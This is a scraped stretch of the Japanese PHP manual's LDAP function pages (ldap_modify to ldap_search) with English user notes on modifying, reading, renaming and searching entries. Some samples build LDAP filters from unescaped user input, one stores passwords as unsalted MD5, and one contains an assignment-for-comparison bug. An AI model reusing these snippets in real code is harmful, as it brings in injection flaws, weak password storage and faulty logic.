                                                unset ($attributes[$key][$mv_key]);
                                        }
                                        else {
                                                $attributes[$key][$mv_key] = $mv_cur_val;
                                        }
                                }
                        }
                }
chris at uffbasse dot de 14-Jun-2004 09:57
To pinpoint the delete issue:

with newer OpenLdap versions this will fail:

$values["mail"] = "";
ldap_modify($conn_id, $dn, $values);

or
$values["mail"][0] = "";
ldap_modify($conn_id, $dn, $values);

BUT this works:

$values["mail"] = array();
ldap_modify($conn_id, $dn, $values);

or
$values["mail"][0] = array();
ldap_modify($conn_id, $dn, $values);
ace at suares dot nl 08-Dec-2003 07:41
Some comments on ldap_modify, and especially the user comment from tengel at fluid dot com

OpenLDAP 2.1.22
If an attribute is tagged as MUST in the schema, the attribute must be there. Wheter it may contain and empty value depends on the SYNTAX for that attribute.

DirectoryString MAY NOT be empty; OctetString MAY be empty. As far as I can see, IA5String MAY NOT be empty.

If an attribute is defined as MAY in the schema, the attribute may or may not be there. If it is there, it MAY or MAY NOT be empty, depending on its SYNTAX.

PHP 4.3.1

It seems that ldap_modify() will take an array of attributes to modify.

For multivalued attributes, passing an empty array, wil DELETE the attribute, regardless of it's previous value(s), and regardless if the attribute was there before the modify.

If the multivalued attribute is defined as MAY, this will work. If the attribute is defined as MUST, OpenLDAP will generate the error: 'LDAP error 65: Object class violation'

If an attribute's SYNTAX defines that it MAY NOT be empty, trying to add or modify the attribute with an empty value will genereate the error: 'LDAP error 21: Invalid syntax'.
Also, in the logfile, if set with sufficient debuglevel, the string

    value #0 invalid per syntax

will be present.

Trying to pass an empty array to ldap_add() for a any attribute (multi or single valued) will result in the error 'LDAP error 2: Protocol error', regardless if the attribute is defined as MUST or MAY.

Note that this differs form passing an array with elements that have no value. In the latter case, it depends on the SYNTAX for that attribute if that is allowed.

If the attribute is single-valued, passing an array with one element, WILL change the value of the attribute. In the user comments on php.net it is suggested that if you want to modify a single valued attribute, you must pass a string, not an array with one element. My experience is that an array with a single element will work just as well.

_Ace

website: http://www.suares.nl * http://www.qwikzite.nl
fechner at ponton dot de 22-Oct-2003 12:32
If you are trying to change the userPassword attribute when using md5 hashes, try the following lines:

$new["userPassword"] = '{md5}' . base64_encode(pack('H*', md5($newpass_in_plaintext)));
ldap_modify($ds, $dn, $new);
davidsmith at byuNOSPAM dot edu 12-Jul-2003 05:52
The $entry parameter can be an array of values for an attribute. Just be careful that your array's indices are numerically contiguous. For example, when using this $entry array, ldap_modify will fail with little explanation:

   $entry = array( 0 => 'foo', 2 => 'bar' );

While this one will work just fine:

   $entry = array( 0 => 'foo', 1 => 'bar' );

Hope this helps someone out.
jpdalbec at ysu dot edu 13-Jun-2003 03:13
Nick T.'s comment above is out of date.
The PHP LDAP interface currently supports direct modification of the DN using the ldap_rename() function.
goetz at rvs dot uni-hannover dot de 27-Mar-2003 07:22
Remember that you can NOT modify the attribute 'objectclass' with ldap_modify!

If you use a search result as basis for your changes, be sure to 'unset()' all numbered indices, 'count' indicies AND index 'objectclass' !
NOSPAMjjhuff at mspin dot net 12-Aug-2002 08:50
To delete entries:

$data["description"] = array();
ldap_modify($conn, $dn,$data);
tengel at fluid dot com 21-Mar-2001 06:57
The behaviour of OpenLDAP from 1.x to 2.x changed; in 1.x, when you passed ldap_modify the array, if the value was empty that attribute would be deleted.  In 2.x, you get an "Invalid Syntax" error and the modify fails.

This requires the ldap_mod_del function; unfortunately, that operation requires the attribute to be deleted have it's *old* value specified -- as you can imagine, if you're taking input from a CGI form, the attribute to be deleted's value is now missing (i.e., the user blanked out that textbox in the form and clicked Submit).

So, you're in a bit of a conundrum -- you want to delete "empty" form values, but you need their old value to delete them.  There are many ways to handle this, but I chose this approach:

<?php
// The first is what to add, the second to remove
$entry=array();
$delval=array();

// Imagine if you will, $o and $title are
// form fields with text boxes for data
if($o!="") { $entry["o"]="$o"; } else { $delval[]="o"; }
if($title!="") { $entry["title"]="$title"; } else { $delval[]="title"; }

// First try the normal modify with $entry
// $ldap, $dn, $BASEDN are all set up earlier
if (@ldap_modify($ldap, $dn, $entry)) {
  // then do the dirty work
  $filter = sprintf("(&(uid=%s)(sn=%s))",$uid,$sn);
  $sres = ldap_search($ldap, $BASEDN, $filter, $delval);
  $delent = ldap_first_entry($ldap, $sres);
  $delarr = ldap_get_attributes($ldap, $delent);
  $findel=array();
  for($i=0; $i<$delarr["count"]; $i++) {
    $attr = $delarr[$i];
    $totl = $delarr[$attr]["count"];
    for($z=0; $z<$totl; $z++) {
      if ($totl = 1) {
        $findel[$attr]=$delarr[$attr][$z];
      } else {
        $findel[$attr][$z]=$delarr[$attr][$z];
      }
    }
  }
  if(@ldap_mod_del($ldap, $dn, $findel)) {
    print("<H3>Modified Entry!</H3>\n");
    print("<BR>\n");
  } else {
    $error=ldap_error($ldap);
    print("<H3>Attribute Delete Failed!</H3>\n");
    print("<BR>\n($error)\n");
  }
} else {
  $error=ldap_error($ldap);
  print("<H3>Modify Failed!</H3>\n");
  print("<BR>\n($error)\n");
}
?>
nickt at powys dot gov dot uk 23-Apr-1999 05:23
Modifying existing LDAP information using ldap_modify()

The link_identifier must result from a call to connect to the server with authority to update entries, usually requiring an authenticated bind - ie you provide a suitable dn and password in the ldap_bind() call.

The  dn  must be a single specific dn that exists on the LDAP server.   There is no wildcard mechanism in LDAP to globally change multiple dn entries.

The entry array must be in one of two different forms, according to whether just one entry is to be stored in the directory for a particular attribute, or whether multiple entries are to be stored for the attribute.

Where a single entry is to be stored for an attribute - say just a single email address - then you use the general form

             <?php $newinfo[ <attribute_name> ]="whatever" ; ?>

for example ...

             <?php $newinfo["mail"]="john@myorg.com" ; ?>

Where multiple entries are to be stored for an attribute  -  say a number of email addresses for one person  -  then you use the general form

             <?php
             $newinfo[ <attribute_name> ][0] = "whatever" ;
             $newinfo[ <attribute_name> ][1] = "another" ;
             ?>

for example ...

             <?php
             $newinfo["mail"][0]="johnw@myorg.com" ;
             $newinfo["mail"][1]="jwaterson@somewhere.org" ;
             ?>

Further notes on ldap_modify()

The modify call leaves entries for all other attributes unaltered.   So if you just want to update the entry for the "mail" attribute, then all that is required is:

     <?php
     $newinfo[mail]="nick@county.gov.uk";
     ldap_modify($valid_ldaplink, $valid_dn, $newinfo);
     ?>

However, if there were multiple entries for the mail attribute present on the LDAP database when you run the above code, then all the existing mail entries would be deleted and be replaced by the single "mail" entry.

If you have reason to expect multiple values for a particular attribute (more that one email entry, for example) you should make sure you read all the entries from the ldap server first, and then save a modified array.

The PHP LDAP interface does not currently support direct modification of the dn.  If the dn needs changing, the only option is to read all entries for the dn and save these to a new, modified, dn before deleting the complete entry for the original dn.


結果における次の属性を得る

  • ≪ ldap_modify
  • ldap_next_entry ≫
  • PHP Manual
  • LDAP 関数
  • 結果における次の属性を得る

ldap_next_attribute

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_next_attribute — 結果における次の属性を得る

説明

ldap_next_attribute ( resource $ldap , resource $entry ) : string|false

エントリ内の属性を取得します。 最初に ldap_next_attribute() をコールした際には ldap_first_attribute() から返される entry を使用します。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

entry

ber_identifier

ポインタの内部状態を、このパラメータで管理します。

注意:

このパラメータは使用されなくなりました。現在は PHP が自動的にこれを処理します。 後方互換性を保持するため、もしこのパラメータが渡されても PHP はエラーを発生させません。

返り値

成功した場合、エントリにおける次の属性を返します。エラー時に false を返します。

参考

  • ldap_get_attributes() - 検索結果エントリから属性を得る

User Contributed Notes

There are no user contributed notes for this page.


次の結果エントリを得る

  • ≪ ldap_next_attribute
  • ldap_next_reference ≫
  • PHP Manual
  • LDAP 関数
  • 次の結果エントリを得る

ldap_next_entry

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_next_entry — 次の結果エントリを得る

説明

ldap_next_entry ( resource $ldap , resource $result ) : resource|false

結果に保持されたエントリを取得します。 連続的に ldap_next_entry() をコールした場合、 エントリがなくなるまでエントリを一つずつ返します。 ldap_next_entry() への最初のコールは、 ldap_first_entry() に result を指定してコールした後に、その結果を用いて行います。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

result

返り値

ldap_first_entry() によりエントリが読み始められた 結果において次のエントリに関するエントリID を返します。 これ以上結果のエントリがない場合は、falseを返します。

参考

  • ldap_get_entries() - 全ての結果エントリを得る

User Contributed Notes

me at xbug dot de 17-Jul-2014 10:13
This is working for me in php 5.5:

<?php
$ldap_host = 'ldap://ldap.example.com';
$base_dn = "ou=users,dc=example,dc=com";
$connect = ldap_connect($ldap_host);

$result = ldap_search($connect, $base_dn, "(cn=*)");

$entry = ldap_first_entry($connect, $result);

do {
    $dn = ldap_get_dn($connect, $entry);
    echo "DN is $dn\n";
} while ($entry = ldap_next_entry($connect, $entry));

ldap_close($connect);
?>


次のリファレンスを得る

  • ≪ ldap_next_entry
  • ldap_parse_exop ≫
  • PHP Manual
  • LDAP 関数
  • 次のリファレンスを得る

ldap_next_reference

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

ldap_next_reference — 次のリファレンスを得る

説明

ldap_next_reference ( resource $ldap , resource $entry ) : resource|false
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


LDAP拡張オペレーションの結果オブジェクトをパースする

  • ≪ ldap_next_reference
  • ldap_parse_reference ≫
  • PHP Manual
  • LDAP 関数
  • LDAP拡張オペレーションの結果オブジェクトをパースする

ldap_parse_exop

(PHP 7 >= 7.2.0, PHP 8)

ldap_parse_exop — LDAP拡張オペレーションの結果オブジェクトをパースする

説明

ldap_parse_exop ( resource $ldap , resource $result , string &$response_data = null , string &$response_oid = null ) : bool

LDAP拡張オペレーションの結果オブジェクト result データをパースします。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

result

ldap_exop() が返す LDAP 結果リソース。

response_data

レスポンスデータで埋められます。

response_oid

レスポンスのOIDで埋められます。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ldap_exop() - 拡張されたオペレーションを実行する

User Contributed Notes

There are no user contributed notes for this page.


参照エントリから情報を展開する

  • ≪ ldap_parse_exop
  • ldap_parse_result ≫
  • PHP Manual
  • LDAP 関数
  • 参照エントリから情報を展開する

ldap_parse_reference

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

ldap_parse_reference — 参照エントリから情報を展開する

説明

ldap_parse_reference ( resource $ldap , resource $entry , array &$referrals ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


結果から情報を展開する

  • ≪ ldap_parse_reference
  • ldap_read ≫
  • PHP Manual
  • LDAP 関数
  • 結果から情報を展開する

ldap_parse_result

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

ldap_parse_result — 結果から情報を展開する

説明

ldap_parse_result ( resource $ldap , resource $result , int &$error_code , string &$matched_dn = null , string &$error_message = null , array &$referrals = null , array &$controls = null ) : bool

LDAP の検索結果をパースします。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

result_identifier

ldap_list() あるいは ldap_search() が返す LDAP 結果リソース。

error_code

結果に含まれる LDAP エラーコードを格納する変数への参照。 エラーが発生しなかった場合は、この変数に 0 を格納します。

matched_dn

リクエスト内にマッチする DN があった場合に、それを格納する変数への参照。 なかった場合は、この変数に null を格納します。

error_message

結果に含まれる LDAP エラーメッセージを格納する変数への参照。 エラーが発生しなかった場合は、この変数に空文字列を格納します。

referrals

結果に含まれるすべての照会文字列の配列を格納する変数への参照。 存在しない場合は、この変数に空の配列を格納します。

controls

レスポンスを送信した LDAP コントロール の array。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.3 | controls のサポートが追加されました。

例

例1 ldap_parse_result() の例

<?php
$result = ldap_search($link, "cn=userref,dc=my-domain,dc=com", "(cn=user*)");
$errcode = $dn = $errmsg = $refs =  null;
if (ldap_parse_result($link, $result, $errcode, $dn, $errmsg, $refs)) {
    // $errcode や $dn、$errmsg、$refs を使って何かをします。
}
?>

User Contributed Notes

There are no user contributed notes for this page.


エントリを読み込む

  • ≪ ldap_parse_result
  • ldap_rename_ext ≫
  • PHP Manual
  • LDAP 関数
  • エントリを読み込む

ldap_read

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_read — エントリを読み込む

説明

ldap_read ( resource|array $ldap , array|string $base , array|string $filter , array $attributes = [] , int $attributes_only = 0 , int $sizelimit = -1 , int $timelimit = -1 , int $deref = LDAP_DEREF_NEVER , array|null $controls = null ) : resource|array|false

指定したフィルタ filter を使用し、スコープ LDAP_SCOPE_BASE でディレクトリを検索します。これは、 ディレクトリからエントリを読み込むことと同じ意味です。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

base

ディレクトリのベース DN。

filter

空のフィルタは指定できません。 このエントリに関する全ての情報を完全に取得したい場合は、 objectClass=* というフィルタを使用してください。 ディレクトリサーバーで使用されるエントリの型が分かっている場合、 objectClass=inetOrgPerson のように適切なフィルタを使用することができます。

attributes

必要な属性を、 array("mail", "sn", "cn") のような通常の PHP 文字列配列で保持します。 "dn" は要求された属性の型によらず常に返されることに注意してください。

このパラメータを使用すると、デフォルトの動作よりもかなり効率的になります (デフォルトでは、すべての属性とその値を返します)。 したがって、これを使用することを推奨します。

attributes_only

属性の型のみを取得したい場合は 1 を設定します。 属性の型および値の両方を取得したい場合は 0 を設定します (これがデフォルトの挙動です)。

sizelimit

取得するエントリ数の制限を設定します。 0 は無制限であることを表します。

注意:

このパラメータは、サーバー側で事前に設定されている sizelimit を上書きすることはできません。それ以下の値を指定することはできます。

ディレクトリサーバーのホストによっては、 事前に設定された数以上のエントリを返さないようになっているものもあります。 この場合、サーバーでは、それが結果セットのすべてではないことを通知します。 このパラメータでエントリ数を制限した場合にも、同じことが起こります。

timelimit

検索に要する最大秒数を設定します。 これを 0 にすると無制限であることを表します。

注意:

このパラメータは、サーバー側で事前に設定されている timelimit を上書きすることはできません。それ以下の値を指定することはできます。

deref

検索時のエイリアスの扱いについて指定します。 以下のいずれかとなります。

  • LDAP_DEREF_NEVER - (デフォルト) エイリアスは参照されません。
  • LDAP_DEREF_SEARCHING - エイリアスを参照しますが、検索のベースオブジェクト上にいるときは参照しません。
  • LDAP_DEREF_FINDING - エイリアスの参照は、ベースオブジェクト上にいて検索中でない場合に行われます。
  • LDAP_DEREF_ALWAYS - エイリアスを常に参照します。 always.

controls

リクエストと一緒に送信する LDAP コントロール の配列

返り値

検索結果 ID を返します。エラーの場合は、false を返します。

変更履歴

バージョン | 説明
8.0.0 | controls は、nullable になりました。 これより前のバージョンでは、デフォルト値が [] でした。
4.0.5 | 並列検索のサポートが追加されました。詳細は ldap_search() を参照ください。
7.3 | controls のサポートが追加されました。

User Contributed Notes

ehalls at gmail dot com 10-May-2018 02:10
For those debugging a wrapper, akin to symfony's client wrapper for these functions and since there is crap documentation on a full cycle of pulling a single record vs multiple, etc.

For this one:
YOU MUST call ldap_get_entries after this function call.

AND PLEASE if you implement a wrapper, prime it with the initial entry else it makes no sense to execute without returning something easily visible as successful.

WHEN query->execute() and you get a collection.. make sure the entry field in the collection has at least the first entry primed.. wasted so much time because it was looking empty.

AND this entire adapter needs to be wrapped with a less retarded usage pattern via an STL lib wrapper, mysticism( bad design) begone.
123.. not 4290234~"wds

Thanks for your time
guillaumeinnov24 at gmail dot com 11-Dec-2014 08:58
Unfortunately, userPasswords seem to be NOT retrievable with ldap_read();
ronny at nxc dot no 20-Mar-2013 03:14
The array in the attributes parameter needs to be an indexed array with numeric keys in ascending order. Like this:

Array
(
    [0] => this
    [1] => is
    [2] => a
    [3] => test
)

If there are missing keys in the array, then no result will be returned. This will not work:

Array
(
    [0] => this
    [1] => is
    [3] => test
)
me at example dot com 30-Aug-2007 12:23
In the previous example the

$ds = ldap.myserver.com // your ldap server

should be

$ds = ldap_connect( "ldap.myserver.com" ) ; // your ldap server
cnicholl at yahoo dot com 21-Dec-2005 11:21
Clarification of the ldap_read command syntax:

If you just want to pull certain attributes from an object and you already know it's dn, the ldap_read command can do this as illustrated below.  It will be less overhead than ldap_search.

The string base_dn which is normally used to set the top context for a recursive ldap_search is used slightly differently with this command.  It is used to specify the actual object with the full dn.  (Hopefully this saves someone else a couple hours trying this command out.)

<?php
$ds = ldap.myserver.com // your ldap server
  $dn = "cn=username,o=My Company, c=US"; //the object itself instead of the top search level as in ldap_search
  $filter="(objectclass=*)"; // this command requires some filter
  $justthese = array("ou", "sn", "givenname", "mail"); //the attributes to pull, which is much more efficient than pulling all attributes if you don't do this
      $sr=ldap_read($ds, $dn, $filter, $justthese);
          $entry = ldap_get_entries($ds, $sr);

echo $entry[0]["mail"][0] . "is the email address of the cn your requested";
echo $entry[0]["sn"][0] . "is the sn of the cn your requested";
ldap_close($ds);
?>

This prints out the specified users mail and surname for example.
sbarnum at mac dot com 18-Jul-2001 02:15
This differs from ldap_search() by not recursing down to sub-entries.  if you know the dn of the item you're looking for and only want info on that entry, use ldap_read() and pass it the full dn of the item you want.

It also seems that you'd alway want something like objectclass=* for the filter, since you're only searching on one entry.


エントリ名を修正する

  • ≪ ldap_read
  • ldap_rename ≫
  • PHP Manual
  • LDAP 関数
  • エントリ名を修正する

ldap_rename_ext

(PHP 7 >= 7.3.0, PHP 8)

ldap_rename_ext — エントリ名を修正する

説明

ldap_rename_ext ( resource $ldap , string $dn , string $new_rdn , string $new_parent , bool $delete_old_rdn , array|null $controls = null ) : resource|false

ldap_rename() と同じですが、 ldap_parse_result() を使ってパースされた LDAP 結果リソースを返します。

パラメータ

ldap_rename() を参照してください。

返り値

LDAP の結果識別子を返します。 エラーの場合は false を返します。

変更履歴

バージョン | 説明
8.0.0 | controls は、nullable になりました。 これより前のバージョンでは、デフォルト値が [] でした。
7.3 | controls のサポートが追加されました。

参考

  • ldap_rename() - エントリ名を修正する
  • ldap_parse_result() - 結果から情報を展開する

User Contributed Notes

There are no user contributed notes for this page.


エントリ名を修正する

  • ≪ ldap_rename_ext
  • ldap_sasl_bind ≫
  • PHP Manual
  • LDAP 関数
  • エントリ名を修正する

ldap_rename

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

ldap_rename — エントリ名を修正する

説明

ldap_rename ( resource $ldap , string $dn , string $new_rdn , string $new_parent , bool $delete_old_rdn , array|null $controls = null ) : bool

dn で指定したエントリについて、 名前の変更または移動を行います。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

dn

LDAP エンティティの識別名。

new_rdn

新しい RDN。

new_parent

新しい親エントリ。

delete_old_rdn

true の場合は古い RDN 値を削除します。それ以外の場合は古い RDN 値がそのエントリの non-distinguished 値として残されます。

controls

リクエストと一緒に送信する LDAP コントロール の配列

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | controls は、nullable になりました。 これより前のバージョンでは、デフォルト値が [] でした。
7.3 | controls のサポートが追加されました。

注意

注意:

この関数は、現在、LDAPv3 でのみ動作します。LDAPv3 でバインドする前に ldap_set_option() を使用する必要があるかもしれません。 この関数は、OpenLDAP 2.x.x または Netscape Directory SDK x.x を使用している場合にのみ使用可能です。

参考

  • ldap_rename_ext() - エントリ名を修正する
  • ldap_modify() - のエイリアス ldap_mod_replace

User Contributed Notes

web at davss dot com 11-Sep-2014 09:20
A thing to remember when using ldap_rename or any other method that is not doing just renaming but creating a new parent and moving children is that you'll loose your original entryUUID!
We wanted to do a local DB mapping for LDAP->DB user groups thinking that it would be the most stable resource identifier only to find out we were absolutely wrong.
Peter Kehl 09-Apr-2008 02:51
Here's some clarification about the parameters when renaming a container in Novell eDirectory:
- $new_rdn is in format "ou=new container name"
- newparent parameter is NULL - because we're renaming and not moving
- deleteoldrdn parameter if TRUE then old value of OU attribute is stored as a secondary/further value of LDAP OU attribute. Novell ConsoleOne shows it as 'Other Name' attribute.

$full_old_dn= "ou=Cuckoo,ou=London,ou=UK,ou=Europe,o=Happy";
$new_rdn= "ou=Cuckoo Group";

ldap_rename( $conn, $full_old_dn, $new_rdn, NULL, TRUE);
backports at gmail dot com 15-Jun-2007 07:26
Though clearly mentioned, the following had me in spin for a good 10 minutes.

Ensure:

if (!ldap_set_option($conn, LDAP_OPT_PROTOCOL_VERSION, 3)) {
   // do something horrible
}

has been set _before_ you actually bind :)
hyc at openldap dot org 06-Oct-2005 04:49
Contrary to Richard Esplin's statement, this *is* the correct function to use for renaming subtrees and moving entries from one place in the tree to another. Just that most LDAP server implementations don't support moving non-leaf entries.

E.g. In OpenLDAP, moving a non-leaf entry is only supported when using the back-hdb database backend. SunOne only has one database backend, and it apparently doesn't handle this type of operation.
venakis at ccf dot auth dot gr 18-Oct-2004 02:52
If you are using Sun Directory Server 5.2, please note that you can't use ldap_rename to move an entry. According to Sun's own documentation: "[...] At this point in time, Directory Server does not support the ability to use the modify DN operation to move an entry from one location in the directory tree to another location." (http://docs.sun.com/source/817-6707/resultcodes.html)
The problem is that php does not return any error and the operation seems to complete succesfully, except for the fact that nothing really happens. If you check the server logs, there will be an "error 53" entry (server is unwilling to perform).
hope this saves someone's couple of hours nasty searching...
Viper_SB at NOSPAMyahoo dot com 30-Jun-2004 02:41
Since this function isn't documented to well I thought I'd help out those trying to get this to work.

<?php
// $dn is the full DN of the entry you wish to move
$dn = 'cn=user1,ou=group1,dc=mydomain';
/*
    note that $newRdn IS NOT a full DN, it is only the start
    I've NOT gotten it to change attributes for the RDN
    but that could just be my schema
*/
$newRdn = 'cn=user2';
// $newparent IS the full DN to the NEW parent DN that you want to move/rename to
$newParent = 'ou=group2,dc=mydomain';
ldap_rename($link, $dn, $newRdn, $newParent, true);
?>

Like I said above I haven't been able to get it to rename to a DIFFERENT attribute so deleteoldrdn has no affect on it.
Richard Esplin 15-Nov-2003 06:37
ldap_rename can only move leaf nodes of the directory tree. If your ldap entry has any child entries, then ldap_rename is not the tool that you need. We needed to change usernames, but that alters the dn. ldap_rename wouldn't work because each of our user ldap entries has a couple associated child entries. We had to write a function to recursively copy the subtree to the new location, and then delete the original version. Here is the basic algorithm:

function recursive_move($old_username, $new_username)
    ldap_search on the old username to get the correct entry
    ldap_get_attributes to get an array of values from the ldap entry
    foreach attribute in array, replace occurences of $old_username with $new_username
    ldap_add the attribute array into the new location
    ldap_modify any additional attributes
    ldap_list each child entry
    call function recursive_move on each child
    ldap_delete current entry
    return
alex at netflex dot nl 16-Oct-2002 08:29
Works also with eDirectory 8 (NW6).

If you are moving a user, remember that you also change the uid!
04-Apr-2002 03:10
To get this function working make sure that the value for $newrdn is relative.


SASL を使用して LDAP ディレクトリにバインドする

  • ≪ ldap_rename
  • ldap_search ≫
  • PHP Manual
  • LDAP 関数
  • SASL を使用して LDAP ディレクトリにバインドする

ldap_sasl_bind

(PHP 5, PHP 7, PHP 8)

ldap_sasl_bind — SASL を使用して LDAP ディレクトリにバインドする

説明

ldap_sasl_bind ( resource $ldap , string|null $dn = null , string|null $password = null , string|null $mech = null , string|null $realm = null , string|null $authc_id = null , string|null $authz_id = null , string|null $props = null ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | dn, password, mech, realm, authc_id, authz_id, props は、nullable になりました。

注意

注意: 前提条件
ldap_sasl_bind() は SASL サポート（sasl.h）を必要とします。PHP の configure 時に --with-ldap-sasl が指定されている ことを確認してください。さもないとこの関数は未定義となります。

User Contributed Notes

mbaynton 16-Jul-2014 03:01
A hint for debugging bind failures in  your environment: many of the warnings PHP issues from this mehod begin "PHP Warning:  ldap_sasl_bind(): Unable to bind to server: [reason]" where [reason] can be a variety of strings. This makes it appear the failure originates with ldap_sasl_bind, but all [reason]s really come from the underlying c function ldap_sasl_interactive_bind_s. That function is used by lots of software besides php, so I've found a greater wealth of troubleshooting information by searching the web for "ldap_sasl_interactive_bind_s [reason]"
devel at romanr dot info 10-Oct-2012 08:16
There is some reenterability bug: you can't use this function several times in a single process. PHP process (apache or fastcgi) should be restarted. Consider PHP_FCGI_MAX_REQUESTS=1
dwhite at olp dot net 22-Sep-2007 05:30
With the patch introduced in the bug below (which has been included in CVS), the parameters for this function should be:

bool ldap_sasl_bind ( resource $link [, string $binddn [, string $password [, string $sasl_mech [, string $sasl_realm [, string $sasl_authc_id [, string $sasl_authz_id [, string $props]]]]]]] )

Some example calls:

$r=ldap_sasl_bind ( $ds, NULL, 'mysecret', 'DIGEST-MD5', NULL, 'jimmy');

With authz_id, specifying a dn:
$r=ldap_sasl_bind ( $ds, NULL, 'mysecret', 'DIGEST-MD5', NULL, 'jimmy', 'dn:uid=tommy,ou=people,dc=example,dc=com');

With authz_id, specifying a SASL username:
$r=ldap_sasl_bind ( $ds, NULL, 'mysecret', 'DIGEST-MD5', NULL, 'jimmy', 'u:tommy');

Also, since SASL authentication was introduced in LDAP version 3,
you may need to explicitly set the version number with:
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
dahgdevash at gmail dot com 25-May-2007 10:44
Bug , the function parameters are sent incorrectly to the server
Look at:
http://bugs.php.net/bug.php?id=39291


LDAP ツリーを探索する

  • ≪ ldap_sasl_bind
  • ldap_set_option ≫
  • PHP Manual
  • LDAP 関数
  • LDAP ツリーを探索する

ldap_search

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_search — LDAP ツリーを探索する

説明

ldap_search ( resource|array $ldap , array|string $base , array|string $filter , array $attributes = [] , int $attributes_only = 0 , int $sizelimit = -1 , int $timelimit = -1 , int $deref = LDAP_DEREF_NEVER , array|null $controls = null ) : resource|array|false

指定したフィルタを使用し、 スコープ LDAP_SCOPE_SUBTREE でディレクトリを検索します。これは、ディレクトリ全体を検索するのと同じ意味です。

4.0.5 以降、並列検索も可能となっています。並列検索を行うには、単一の ID を使うのではなく、リンク ID の配列を使用します。 同じベース DN を使用したくない場合や全ての検索について同じフィルタを 使用したくない場合、ベース DN の配列またはフィルタの配列を使用する ことが可能です。これらの配列は、リンク ID の配列と同じ大きさである 必要があります。これは、その配列の最初が一回の検索で使用され、2 番目の エントリが他の検索で使用されるといったようになるからです。並列検索を 実行する際、エラーの場合を除き、検索結果 ID の配列が返されます。 エラーの場合は対応する検索のエントリは false となります。これは 通常返される値とよく似ていますが、検索が行われた際に結果 ID が常に 返されます。まれに、並列検索は ID を返すにもかかわらず通常の検索は false を返すということがあります。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

base

ディレクトリのベース DN。

filter

検索フィルタは、LDAP ドキュメントに記述されたフォーマットの論理 演算子を用いて、簡単なものまたは高度なものとすることができます (フィルタに関する詳細な情報については、 » Netscape Directory SDK あるいは » RFC4515 を参照ください)。

attributes

必要な属性を、 array("mail", "sn", "cn") のような通常の PHP 文字列配列で保持します。 "dn" は要求された属性の型によらず常に返されることに注意してください。

このパラメータを使用すると、デフォルトの動作よりもかなり効率的になります (デフォルトでは、すべての属性とその値を返します)。 したがって、これを使用することを推奨します。

attributes_only

属性の型のみを取得したい場合は 1 を設定します。 属性の型および値の両方を取得したい場合は 0 を設定します (これがデフォルトの挙動です)。

sizelimit

取得するエントリ数の制限を設定します。 0 は無制限であることを表します。

注意:

このパラメータは、サーバー側で事前に設定されている sizelimit を上書きすることはできません。それ以下の値を指定することはできます。

ディレクトリサーバーのホストによっては、 事前に設定された数以上のエントリを返さないようになっているものもあります。 この場合、サーバーでは、それが結果セットのすべてではないことを通知します。 このパラメータでエントリ数を制限した場合にも、同じことが起こります。

timelimit

検索に要する最大秒数を設定します。 これを 0 にすると無制限であることを表します。

注意:

このパラメータは、サーバー側で事前に設定されている timelimit を上書きすることはできません。それ以下の値を指定することはできます。

deref

検索時のエイリアスの扱いについて指定します。 以下のいずれかとなります。

  • LDAP_DEREF_NEVER - (デフォルト) エイリアスは参照されません。
  • LDAP_DEREF_SEARCHING - エイリアスを参照しますが、検索のベースオブジェクト上にいるときは参照しません。
  • LDAP_DEREF_FINDING - エイリアスの参照は、ベースオブジェクト上にいて検索中でない場合に行われます。
  • LDAP_DEREF_ALWAYS - エイリアスを常に参照します。

controls

リクエストと一緒に送信する LDAP コントロール の配列

返り値

検索結果 ID を返します。エラーの場合は、false を返します。

変更履歴

バージョン | 説明
8.0.0 | controls は、nullable になりました。 これより前のバージョンでは、デフォルト値が [] でした。
7.3 | controls のサポートが追加されました。

例

以下の例は、"My Company" の全員について姓または名の一部に文字列 $person を含む人の組織単位、姓、名、電子メールアドレスを取得します。 この例は、複数の属性に関する情報についてサーバーに検索をかける論理 フィルタを使用します。

例1 LDAP 検索

<?php
// $ds は、ディレクトリサーバーの有効なリンク ID

// $person は、人名またはその一部。例 "Jo"

$dn = "o=My Company, c=US";
$filter="(|(sn=$person*)(givenname=$person*))";
$justthese = array("ou", "sn", "givenname", "mail");

$sr=ldap_search($ds, $dn, $filter, $justthese);

$info = ldap_get_entries($ds, $sr);

echo $info["count"]." 個のエントリが返されました\n";
?>

User Contributed Notes

peter dot mlich at volny dot cz 05-Jun-2020 06:57
Example code from my ldap class.

public function query($_filter, $_att, $_ref=2, $count_bool=true)
    {
    $fn     = 'query';
    $config = $this->config;
    $conn   = $this->conn;
    if (!$conn)
        {return $this->errorConnection($fn);}
    ldap_set_option($conn, LDAP_OPT_DEREF, $_ref);
    $result = ldap_search($conn, $config['baseDn'], $_filter, $_att);    //  or die(ldap_error($conn))
    if ($result===false)
        {
        $this->error("Search error, neexistuje!");
        return false;
        }
    $count = ldap_count_entries($conn, $result);
    if ($count_bool && $count!=1)
        {
        $this->error("Search error, neni unikatni! count=".$count);
        ldap_free_result($result);
        return false;
        }
    $data = ldap_get_entries($conn, $result);
    ldap_free_result($result);
    return $data;
    }

// ---

